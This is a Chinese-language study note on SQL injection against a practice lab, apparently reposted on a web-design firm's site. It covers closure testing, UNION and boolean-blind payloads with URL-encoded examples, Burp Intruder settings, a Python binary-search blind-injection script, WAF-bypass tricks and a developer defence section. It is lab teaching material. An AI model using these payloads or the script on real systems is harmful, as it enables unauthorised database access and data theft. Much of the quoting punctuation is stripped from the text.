ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

杂记05 SQL 注入02

杂记05 SQL 注入02 一、注入类型总览类型判据优势适用场景数字型and 11/and 12最简单无需引号参数直接是数字字符型UNION))闭合数据直接回显一条 payload 拿结果参数被引号包裹且有回显位报错注入报错信息回带数据速度快页面显示 SQL 错误布尔盲注页面真假两态差异无回显时的主要选择页面只返回「存在 / 不存在」时间盲注sleep()延时连真假都看不出时使用页面完全无差异判断顺序先定闭合 → 再看有无回显 → 有回显走 UNION无回显走盲注。二、第一步判断注入点与闭合方式2.1 闭合方式测试表依次测试下列 payload观察页面返回是否有真假变化测试 payload为真说明的闭合方式1 and 11数字型1 and 11--单引号1) and 11--单引号 括号1 and 11--双引号1) and 11--双引号 括号1 and 11 and 11双引号对称闭合不能用注释符对应的原始 SQL 大致为SELECT * FROM xxx WHERE id 1 -- 数字型 SELECT * FROM xxx WHERE id 输入 -- 单引号型 SELECT * FROM xxx WHERE id (输入) -- 单引号 括号型 SELECT * FROM xxx WHERE id 输入 -- 双引号型2.2 确认注入存在一条真、一条假即可确定注入点?id1) and 11# → 页面正常 ?id1) and 12# → 页面异常注意页面标题写「字符型」不等于就是单引号也可能只接受或)必须逐一测试。2.3 注释符与 URL 编码注释符URL 编码说明#%23MySQL / MariaDB 专用行注释#在 URL 中是锚点必须编码--后跟空格--%20或--SQL 标准注释/* */%2F*...*%2F块注释可用于绕过 WAF;%00%3B%00空字节截断PHP 场景空格优先用%20比更稳妥——部分服务器会把当作字面加号。三、UNION 联合注入3.1 成立前提参数可闭合注入点成立原查询有回显位页面会把结果显示出来union前后两个select的列数必须一致。3.2 标准六步1. 判闭合方式 → 1) and 11# / 1) and 12# 2. 判列数 → 1) order by N# 3. 找回显位 → 1) union select 1,2,3,4,5,6,7# 4. 拿库名/用户/版本 → database(), user(), version() 5. 拿表名/字段名 → information_schema.tables / columns 6. 读取目标数据 → select 目标字段 from 目标表3.3 判列数order by Norder by N按第 N 列排序N ≤ 实际列数时正常N 超出则报错Unknown column N in order clause。1) order by 7# → 正常 1) order by 8# → 报错 1054 Unknown column 8 in ORDER BY → 列数为 73.4 找回显位1) union select 1,2,3,4,5,6,7#页面上哪个数字被显示出来哪一列就是回显位。本靶场 7 列全部回显任意列都可塞数据若只有部分列回显如只显示第 2、5 列就把数据放在对应位置。3.5 案例 A单引号 括号闭合1)① 探库名 / 用户 / 版本1) union select database(),user(),version(),4,5,6,7#② 拿所有表名1) union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schemadatabase()#③ 拿指定表的字段名1) union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schemadatabase() and table_nameflag#④ 读取数据1) union select 1,group_concat(flag),3,4,5,6,7 from flag#3.6 案例 B双引号闭合admin #同一套打法仅闭合方式不同用#闭合。步骤Payload结果1. 判闭合admin #页面正常确认双引号闭合2. 判列数admin order by 7#正常3. 超列数admin order by 8#报错 →7 列4. 找回显notexist union select 1,2,3,4,5,6,7#7 列全回显5. 库/用户/版本... database(),user(),version() ...sql_injection_lab等6. 所有表名... group_concat(table_name) ... information_schema.tables ...users,flag7. flag 字段名... group_concat(column_name) ... information_schema.columns ...id,flag8.拿 flagnotexist union select 1,group_concat(flag),3,4,5,6,7 from flag#FLAGnotexist技巧union select时把原查询的取值设为一个原表中不存在的值使前半段查询返回空页面只显示 union 的结果——回显位一眼看清不会和原有数据混在一起。3.7 完整 URLURL 编码后# 判列数 http://靶场地址:端口/check?id1)%20order%20by%207%23 # 找回显 http://靶场地址:端口/check?id1)%20union%20select%201,2,3,4,5,6,7%23 # 库/用户/版本 http://靶场地址:端口/check?id1)%20union%20select%20database(),user(),version(),4,5,6,7%23 # 所有表名 http://靶场地址:端口/check?id1)%20union%20select%201,group_concat(table_name),3,4,5,6,7%20from%20information_schema.tables%20where%20table_schemadatabase()%23 # flag 字段名 http://靶场地址:端口/check?id1)%20union%20select%201,group_concat(column_name),3,4,5,6,7%20from%20information_schema.columns%20where%20table_schemadatabase()%20and%20table_nameflag%23 # 读取 flag http://靶场地址:端口/check?id1)%20union%20select%201,group_concat(flag),3,4,5,6,7%20from%20flag%233.8 小结UNION 联合注入主线判断闭合 → 判断列数 → 找回显位 → 枚举元数据 → 提取数据。三个元数据入口database()、information_schema.tables、information_schema.columns。四、布尔盲注4.1 原理页面不回显查询结果、不回显报错但会根据 SQL 条件的真假返回两种不同状态正常 / 异常、内容长度不同、{exists:true}/{exists:false}。构造布尔条件逐位猜解字符and ascii(substr(字段, 位置, 1)) ASCII码 -- 等值比较 and ascii(substr(字段, 位置, 1)) mid -- 二分法比较核心函数substr(str, pos, len)pos 从 1 开始、ascii()、length()。适用场景无直接回显、无报错回显、无 union 回显位页面状态仅由 SQL 条件真假控制。4.2 案例 ABurp Intruder 定长匹配注入流程1. 判断注入点and 11 正常and 12 异常 2. 获取长度 and length(flag)38 3. 逐位猜字符and ascii(substr(flag,1,1))102 4. ASCII 转字符按位置拼接得到完整 flagIntruder 配置要点项目设置攻击类型Cluster bomb集束炸弹双变量Payload1字符位置1 ~ 38Payload2ASCII 码值遍历字符集命中标记响应长度 237结果处理按 Payload1 升序取命中的 Payload2 转字符拼接Payload 示例# 判断是否存在注入 ?id1 and 11 ?id1 and 12 # 获取 flag 长度 ?id1 and length(flag)38 # 猜第 1 位字符 ?id1 and ascii(substr(flag,1,1))102 # 猜第 5 位字符 { 的 ASCII 123 ?id1 and ascii(substr(flag,5,1))123 # 猜最后一位 } 的 ASCII 125 ?id1 and ascii(substr(flag,38,1))125优缺点优点适用面广不需要页面输出、不需要报错信息绝大多数回显受限场景都能用。缺点请求量极大、速度慢页面响应波动或网络抖动时容易误判。4.3 案例 BPython 二分法脚本本靶场闭合方式特殊参数外层是双引号用and 11对称闭合不能使用--注释符。?id1 and ascii(substr(database(),N,1)) mid and 11二分查找逻辑每一位字符在 ASCII[32, 126]区间内查找mid为真 → 取右半区[mid1, y]mid为假 → 取左半区[x, mid]x y时收敛得到该位 ASCII。完整利用流程步骤Payload 关键部分结果1. 库名ascii(substr(database(),N,1))midaaaa2. 表名(select table_name from information_schema.tables where table_schemadatabase() limit N,1)bbbb、flag3. 字段名(select column_name from information_schema.columns where table_schemadatabase() and table_nameflag limit N,1)id、flag4. 数据(select flag from flag limit 0,1)FLAG要点子查询必须加括号substr((select ... limit 0,1), M, 1)否则substr解析出错limit 0,1/1,1/2,1…… 逐行取表、逐行取字段读到连续 2 位空格即可停止说明该字符串已结束。通用脚本模板import requests import time murl http://靶场地址:端口/check?id headers {User-Agent: Mozilla/5.0} def get_char(expr, num, x32, y126, retry3): 二分查找某一位字符的 ASCII if x y: return x mid (x y) // 2 url f{murl}1%22%20and%20ascii(substr({expr},{num},1)){mid}%20and%201%221 for _ in range(retry): try: r requests.get(url, headersheaders, timeout8) if exists:true in r.text: return get_char(expr, num, mid 1, y, retry) else: return get_char(expr, num, x, mid, retry) except Exception: time.sleep(1) return None def get_string(expr, max_len80): 逐位读取连续两位空格视为结束 res, sp , 0 for i in range(1, max_len 1): ch get_char(expr, i) if ch is None: break if ch 32: sp 1 if sp 2: break continue sp 0 res chr(ch) print(f [] 第{i}位: {chr(ch)!r} 当前: {res}) return res if __name__ __main__: print( 数据库名 ) print(get_string(database())) print(\n 第 1 张表 ) print(get_string( (select table_name from information_schema.tables where table_schemadatabase() limit 0,1))) print(\n flag 表字段名 ) print(get_string( (select column_name from information_schema.columns where table_schemadatabase() and table_nameflag limit 0,1))) print(\n flag 数据 ) print(get_string((select flag from flag limit 0,1)))4.4 踩坑记录问题原因解决方法输出全是O/OOOO二分边界更新错误写成mid而非mid1陷入死循环mid成立时传mid1x y时直接返回输出大量空格未判断字符串结束一直盲注到最大长度连续两位空格即视为结束Max retries/Timeout无重试机制网络抖动即失败加retry3循环 timeout8请求 502 / 503靶场后端挂了或被限流浏览器验证、补Cookie/Referer、降频、等待解封猜解一律为空格ASCII 32闭合方式写错条件恒假先用and 11 and 11/and 12 and 11验证真假子查询不生效子查询没加括号substr解析出错substr((select ... limit 0,1), M, 1)表名 / 字段名取不全只取了limit 0,1漏掉后续行循环limit 0,1、1,1、2,1……其他注意点substr起始下标从 1 开始不是编程语言的 0 下标容易错位不要单纯依赖响应长度建议多轮验证ascii()区分大小写若不区分可套lower()ascii(lower(substr(flag,1,1)))限定可打印字符范围32~126可大幅减少请求量{(123) 与}(125) 是 flag 的固定首尾标记可用来校验结果。4.5 标准盲注流程速记1. 找闭合 → 1 and 11 and 11 / 1 and 12 and 11 2. 定注入类型 → 布尔盲注 / 时间盲注 / 报错注入 3. 拿数据库名 → substr(database(), n, 1) 4. 拿表名 → information_schema.tables 5. 拿字段名 → information_schema.columns 6. 拿数据 → select 字段 from 表 limit n,1 7. 加速 → 二分法 多线程 降低超时 减少无用请求五、常用函数与元数据表速查5.1 信息函数函数返回database()当前数据库名user()/current_user()当前数据库账号version()/version数据库版本version_compile_os操作系统datadir数据目录system_user()系统用户5.2 字符串函数函数用途substr(str,n,1)/substring()/mid()取第 n 位字符length(str)字符串长度ascii(c)/ord(c)字符转 ASCII 值char(n)ASCII 转字符hex(str)/unhex(hex)十六进制编码 / 解码group_concat(col)多行拼成一行方便回显concat(a,b,c)拼接字符串lower(str)转小写5.3 元数据表表用途information_schema.tables所有表information_schema.columns所有字段information_schema.schemata所有数据库information_schema.user_privileges用户权限六、加速与 WAF 绕过被拦关键字绕过方式union内联注释/*!50000union*/select大小写混写SeLeCtinformation_schemaInFoRmAtIoN_sChEmA/ 十六进制group_concatlimit 0,1逐行读 /hex()编码flag反引号包裹 / 十六进制0x666c6167空格/**/、%09、%0a、%0d#--、--%20七、防御方案写给开发者防御点措施根本防御参数化查询PreparedStatement杜绝任何字符串拼接 SQL包括where id ($id)、where id $id这类引号括号组合输入校验白名单校验id 类参数强制转整数非整数直接拒绝过滤引号、#、--等特殊字符错误处理关闭详细报错统一异常页面不让前端看到1054/1064或数据库结构响应统一消除页面的真假差异长度、文案让布尔判断失去依据权限最小化Web 账号禁止访问information_schema及其他系统库WAF 限流拦截union、order by、information_schema等特征并限制请求频率防止脚本枚举日志审计记录异常 SQL 请求及时发现攻击代码审计定期检查全部数据库操作代码核心只有一句让用户输入永远作为「数据」参与查询而不是作为「SQL 代码」被拼接。
返回列表